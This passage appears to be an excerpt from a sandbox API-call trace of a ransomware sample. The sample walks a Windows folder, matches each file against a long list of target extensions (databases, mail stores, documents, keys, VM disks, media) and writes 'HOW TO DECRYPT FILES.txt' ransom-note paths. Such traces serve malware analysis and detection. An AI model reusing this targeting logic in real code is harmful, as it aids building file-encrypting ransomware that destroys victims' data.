(lpString="*.myo") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.qbw") returned 0 [0124.819] lstrlenA (lpString="*.qbw") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.qbb") returned 0 [0124.819] lstrlenA (lpString="*.qbb") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.qbm") returned 0 [0124.819] lstrlenA (lpString="*.qbm") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.qbo") returned 0 [0124.819] lstrlenA (lpString="*.qbo") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.qbx") returned 0 [0124.819] lstrlenA (lpString="*.qbx") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.qba") returned 0 [0124.819] lstrlenA (lpString="*.qba") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.qby") returned 0 [0124.819] lstrlenA (lpString="*.qby") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.qbj") returned 0 [0124.819] lstrlenA (lpString="*.qbj") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.ofx") returned 0 [0124.819] lstrlenA (lpString="*.ofx") returned 5 [0124.819] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.qif") returned 0 [0124.820] lstrlenA (lpString="*.qif") returned 5 [0124.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.mye") returned 0 [0124.820] lstrlenA (lpString="*.mye") returned 5 [0124.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.mbox") returned 0 [0124.820] lstrlenA (lpString="*.mbox") returned 6 [0124.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.eml") returned 0 [0124.820] lstrlenA (lpString="*.eml") returned 5 [0124.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.pst") returned 0 [0124.820] lstrlenA (lpString="*.pst") returned 5 [0124.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.ost") returned 0 [0124.820] lstrlenA (lpString="*.ost") returned 5 [0124.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.idx") returned 0 [0124.820] lstrlenA (lpString="*.idx") returned 5 [0124.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.dbx") returned 0 [0124.820] lstrlenA (lpString="*.dbx") returned 5 [0124.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.sql") returned 0 [0124.820] lstrlenA (lpString="*.sql") returned 5 [0124.820] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.mdb") returned 0 [0124.821] lstrlenA (lpString="*.mdb") returned 5 [0124.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.fdb") returned 0 [0124.821] lstrlenA (lpString="*.fdb") returned 5 [0124.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.wab") returned 0 [0124.821] lstrlenA (lpString="*.wab") returned 5 [0124.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.dat") returned 0 [0124.821] lstrlenA (lpString="*.dat") returned 5 [0124.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.txt") returned 0 [0124.821] lstrlenA (lpString="*.txt") returned 5 [0124.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.jpeg") returned 0 [0124.821] lstrlenA (lpString="*.jpeg") returned 6 [0124.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.jpg") returned 0 [0124.821] lstrlenA (lpString="*.jpg") returned 5 [0124.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.png") returned 0 [0124.821] lstrlenA (lpString="*.png") returned 5 [0124.821] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.php") returned 0 [0124.821] lstrlenA (lpString="*.php") returned 5 [0124.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.cs") returned 0 [0124.822] lstrlenA (lpString="*.cs") returned 4 [0124.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.cpp") returned 0 [0124.822] lstrlenA (lpString="*.cpp") returned 5 [0124.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.rar") returned 0 [0124.822] lstrlenA (lpString="*.rar") returned 5 [0124.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.zip") returned 0 [0124.822] lstrlenA (lpString="*.zip") returned 5 [0124.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.html") returned 0 [0124.822] lstrlenA (lpString="*.html") returned 6 [0124.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.htm") returned 0 [0124.822] lstrlenA (lpString="*.htm") returned 5 [0124.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.xlsx") returned 0 [0124.822] lstrlenA (lpString="*.xlsx") returned 6 [0124.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.xls") returned 0 [0124.822] lstrlenA (lpString="*.xls") returned 5 [0124.822] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.mp4") returned 0 [0124.822] lstrlenA (lpString="*.mp4") returned 5 [0124.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.ppt") returned 0 [0124.823] lstrlenA (lpString="*.ppt") returned 5 [0124.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.pptx") returned 0 [0124.823] lstrlenA (lpString="*.pptx") returned 6 [0124.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.doc") returned 0 [0124.823] lstrlenA (lpString="*.doc") returned 5 [0124.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.dot") returned 0 [0124.823] lstrlenA (lpString="*.dot") returned 5 [0124.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.docx") returned 0 [0124.823] lstrlenA (lpString="*.docx") returned 6 [0124.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.7z") returned 0 [0124.823] lstrlenA (lpString="*.7z") returned 4 [0124.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.tar") returned 0 [0124.823] lstrlenA (lpString="*.tar") returned 5 [0124.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.bz2") returned 0 [0124.823] lstrlenA (lpString="*.bz2") returned 5 [0124.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.gz") returned 0 [0124.824] lstrlenA (lpString="*.gz") returned 4 [0124.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.mkv") returned 0 [0124.824] lstrlenA (lpString="*.mkv") returned 5 [0124.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.eml") returned 0 [0124.824] lstrlenA (lpString="*.eml") returned 5 [0124.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.msg") returned 0 [0124.824] lstrlenA (lpString="*.msg") returned 5 [0124.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.edb") returned 0 [0124.824] lstrlenA (lpString="*.edb") returned 5 [0124.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.accdb") returned 0 [0124.824] lstrlenA (lpString="*.accdb") returned 7 [0124.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.odb") returned 0 [0124.824] lstrlenA (lpString="*.odb") returned 5 [0124.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.java") returned 0 [0124.824] lstrlenA (lpString="*.java") returned 6 [0124.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.asm") returned 0 [0124.824] lstrlenA (lpString="*.asm") returned 5 [0124.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.pfx") returned 0 [0124.824] lstrlenA (lpString="*.pfx") returned 5 [0124.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.pem") returned 0 [0124.825] lstrlenA (lpString="*.pem") returned 5 [0124.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.p12") returned 0 [0124.825] lstrlenA (lpString="*.p12") returned 5 [0124.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.gpg") returned 0 [0124.825] lstrlenA (lpString="*.gpg") returned 5 [0124.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.vsd") returned 0 [0124.825] lstrlenA (lpString="*.vsd") returned 5 [0124.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.odg") returned 0 [0124.825] lstrlenA (lpString="*.odg") returned 5 [0124.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.raw") returned 0 [0124.825] lstrlenA (lpString="*.raw") returned 5 [0124.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.nef") returned 0 [0124.825] lstrlenA (lpString="*.nef") returned 5 [0124.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.svg") returned 0 [0124.825] lstrlenA (lpString="*.svg") returned 5 [0124.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.psd") returned 0 [0124.825] lstrlenA (lpString="*.psd") returned 5 [0124.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.vmx") returned 0 [0124.826] lstrlenA (lpString="*.vmx") returned 5 [0124.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.vmdk") returned 0 [0124.826] lstrlenA (lpString="*.vmdk") returned 6 [0124.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.vdi") returned 0 [0124.826] lstrlenA (lpString="*.vdi") returned 5 [0124.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.lay6") returned 0 [0124.826] lstrlenA (lpString="*.lay6") returned 6 [0124.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.mpeg") returned 0 [0124.826] lstrlenA (lpString="*.mpeg") returned 6 [0124.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.djvu") returned 0 [0124.826] lstrlenA (lpString="*.djvu") returned 6 [0124.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.tiff") returned 0 [0124.826] lstrlenA (lpString="*.tiff") returned 6 [0124.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.backup") returned 0 [0124.826] lstrlenA (lpString="*.backup") returned 8 [0124.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.pdf") returned 0 [0124.826] lstrlenA (lpString="*.pdf") returned 5 [0124.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.cert") returned 0 [0124.827] lstrlenA (lpString="*.cert") returned 6 [0124.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.docm") returned 0 [0124.827] lstrlenA (lpString="*.docm") returned 6 [0124.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.xlsm") returned 0 [0124.827] lstrlenA (lpString="*.xlsm") returned 6 [0124.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.dwg") returned 0 [0124.827] lstrlenA (lpString="*.dwg") returned 5 [0124.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.nd") returned 0 [0124.827] lstrlenA (lpString="*.nd") returned 4 [0124.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.tlg") returned 0 [0124.827] lstrlenA (lpString="*.tlg") returned 5 [0124.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.lgb") returned 0 [0124.827] lstrlenA (lpString="*.lgb") returned 5 [0124.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.mov") returned 0 [0124.827] lstrlenA (lpString="*.mov") returned 5 [0124.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.xdw") returned 0 [0124.828] lstrlenA (lpString="*.xdw") returned 5 [0124.828] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.ods") returned 0 [0124.828] lstrlenA (lpString="*.ods") returned 5 [0124.828] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.wav") returned 0 [0124.828] lstrlenA (lpString="*.wav") returned 5 [0124.828] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.mp3") returned 0 [0124.828] lstrlenA (lpString="*.mp3") returned 5 [0124.828] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.aiff") returned 0 [0124.828] lstrlenA (lpString="*.aiff") returned 6 [0124.828] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.flac") returned 0 [0124.828] lstrlenA (lpString="*.flac") returned 6 [0124.828] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.m4a") returned 0 [0124.828] lstrlenA (lpString="*.m4a") returned 5 [0124.828] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe", pszSpec="*.csv") returned 0 [0124.828] lstrlenA (lpString="*.csv") returned 5 [0124.828] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x590c0a30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x590c0a30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x590c0a30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WsatConfig.ni.exe.aux", cAlternateFileName="WSATCO~1.AUX")) returned 1 [0124.828] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.828] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WsatConfig.ni.exe.aux") returned -1 [0124.829] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WsatConfig.ni.exe.aux") returned -1 [0124.829] lstrcmpiA (lpString1="", lpString2="WsatConfig.ni.exe.aux") returned -1 [0124.829] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe") returned="WsatConfig.ni.exe" [0124.829] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\" [0124.829] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\") returned="" [0124.829] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\HOW TO DECRYPT FILES.txt" [0124.829] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\wsatconfig\\93576f0aca370337022c4e4d07012e94\\how to decrypt files.txt")) returned 0x20 [0124.829] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\", lpString2="WsatConfig.ni.exe.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux" [0124.829] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.ems") returned 0 [0124.829] lstrlenA (lpString="*.ems") returned 5 [0124.829] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.db") returned 0 [0124.829] lstrlenA (lpString="*.db") returned 4 [0124.829] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.dbf") returned 0 [0124.829] lstrlenA (lpString="*.dbf") returned 5 [0124.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.myox") returned 0 [0124.830] lstrlenA (lpString="*.myox") returned 6 [0124.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.myo") returned 0 [0124.830] lstrlenA (lpString="*.myo") returned 5 [0124.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.qbw") returned 0 [0124.830] lstrlenA (lpString="*.qbw") returned 5 [0124.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.qbb") returned 0 [0124.830] lstrlenA (lpString="*.qbb") returned 5 [0124.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\WsatConfig.ni.exe.aux", pszSpec="*.qbm") returned 0 [0124.830] 